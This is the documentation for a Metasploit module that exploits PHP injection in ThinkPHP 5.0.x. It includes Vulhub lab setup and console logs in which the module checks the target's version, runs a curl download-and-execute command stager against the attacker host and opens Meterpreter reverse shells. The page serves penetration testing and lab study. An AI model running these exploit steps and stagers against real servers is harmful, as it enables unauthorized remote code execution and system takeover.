## Vulnerable Application

### Description

This module exploits one of two PHP injection vulnerabilities in the
ThinkPHP web framework to execute code as the web user.

Versions up to and including 5.0.23 are exploitable, though 5.0.23 is
vulnerable to a separate vulnerability. The module will automatically
attempt to detect the version of the software.

Tested against versions 5.0.20 and 5.0.23 as can be found on Vulhub.

### Setup

1. `git clone https://github.com/vulhub/vulhub`
2. `cd vulhub/thinkphp/5-rce` for 5.0.20 or `cd vulhub/thinkphp/5.0.23-rce` for 5.0.23
3. `docker-compose up -d`

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Targets

### 0

This executes a Unix command.

### 1

This uses a Linux dropper to execute code.

## Options

### SRVPORT

If you are testing the [Docker container](#setup), which binds to port
8080 by default, and you are using an HTTP(S) command stager, set this
to a different port to bind the command stager server to.

## Scenarios

### ThinkPHP 5.0.20 from [Vulhub](https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce)

```
msf > use exploit/unix/webapp/thinkphp_rce
msf exploit(unix/webapp/thinkphp_rce) > options

Module options (exploit/unix/webapp/thinkphp_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf exploit(unix/webapp/thinkphp_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf exploit(unix/webapp/thinkphp_rce) > set lhost 192.168.1.3
lhost => 192.168.1.3
msf exploit(unix/webapp/thinkphp_rce) > set srvport 8888
srvport => 8888
msf exploit(unix/webapp/thinkphp_rce) > run

[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. ThinkPHP 5.0.20 is a vulnerable version.
[*] Targeting ThinkPHP 5.0.20 automatically
[*] Using URL: http://0.0.0.0:8888/a81nrUs9fCfJSX
[*] Local IP: http://192.168.1.3:8888/a81nrUs9fCfJSX
[*] Generated command stager: ["curl -so /tmp/TbEGgqIl http://192.168.1.3:8888/a81nrUs9fCfJSX;chmod +x /tmp/TbEGgqIl;/tmp/TbEGgqIl;rm -f /tmp/TbEGgqIl"]
[*] Executing command: curl -so /tmp/TbEGgqIl http://192.168.1.3:8888/a81nrUs9fCfJSX;chmod +x /tmp/TbEGgqIl;/tmp/TbEGgqIl;rm -f /tmp/TbEGgqIl
[*] Client 192.168.1.3 (curl/7.52.1) requested /a81nrUs9fCfJSX
[*] Sending payload to 192.168.1.3 (curl/7.52.1)
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.3:55132) at 2020-05-01 04:25:29 -0500
[+] Successfully executed command: curl -so /tmp/TbEGgqIl http://192.168.1.3:8888/a81nrUs9fCfJSX;chmod +x /tmp/TbEGgqIl;/tmp/TbEGgqIl;rm -f /tmp/TbEGgqIl
[*] Command Stager progress - 100.00% done (118/118 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: no-user @ 099b50f07ffe (uid=33, gid=33, euid=33, egid=33)
meterpreter > sysinfo
Computer     : 172.19.0.2
OS           : Debian 9.4 (Linux 4.19.76-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

### ThinkPHP 5.0.23 from [Vulhub](https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce)

```
msf exploit(unix/webapp/thinkphp_rce) > run

[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. ThinkPHP 5.0.23 is a vulnerable version.
[*] Targeting ThinkPHP 5.0.23 automatically
[*] Using URL: http://0.0.0.0:8888/hVN9Y2ju
[*] Local IP: http://192.168.1.3:8888/hVN9Y2ju
[*] Generated command stager: ["curl -so /tmp/tHWxdQqn http://192.168.1.3:8888/hVN9Y2ju;chmod +x /tmp/tHWxdQqn;/tmp/tHWxdQqn;rm -f /tmp/tHWxdQqn"]
[*] Executing command: curl -so /tmp/tHWxdQqn http://192.168.1.3:8888/hVN9Y2ju;chmod +x /tmp/tHWxdQqn;/tmp/tHWxdQqn;rm -f /tmp/tHWxdQqn
[*] Client 192.168.1.3 (curl/7.52.1) requested /hVN9Y2ju
[*] Sending payload to 192.168.1.3 (curl/7.52.1)
[*] Meterpreter session 2 opened (192.168.1.3:4444 -> 192.168.1.3:55145) at 2020-05-01 04:26:44 -0500
[+] Successfully executed command: curl -so /tmp/tHWxdQqn http://192.168.1.3:8888/hVN9Y2ju;chmod +x /tmp/tHWxdQqn;/tmp/tHWxdQqn;rm -f /tmp/tHWxdQqn
[*] Command Stager progress - 100.00% done (112/112 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: no-user @ b4be164434d3 (uid=33, gid=33, euid=33, egid=33)
meterpreter > sysinfo
Computer     : 172.18.0.2
OS           : Debian 9.6 (Linux 4.19.76-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
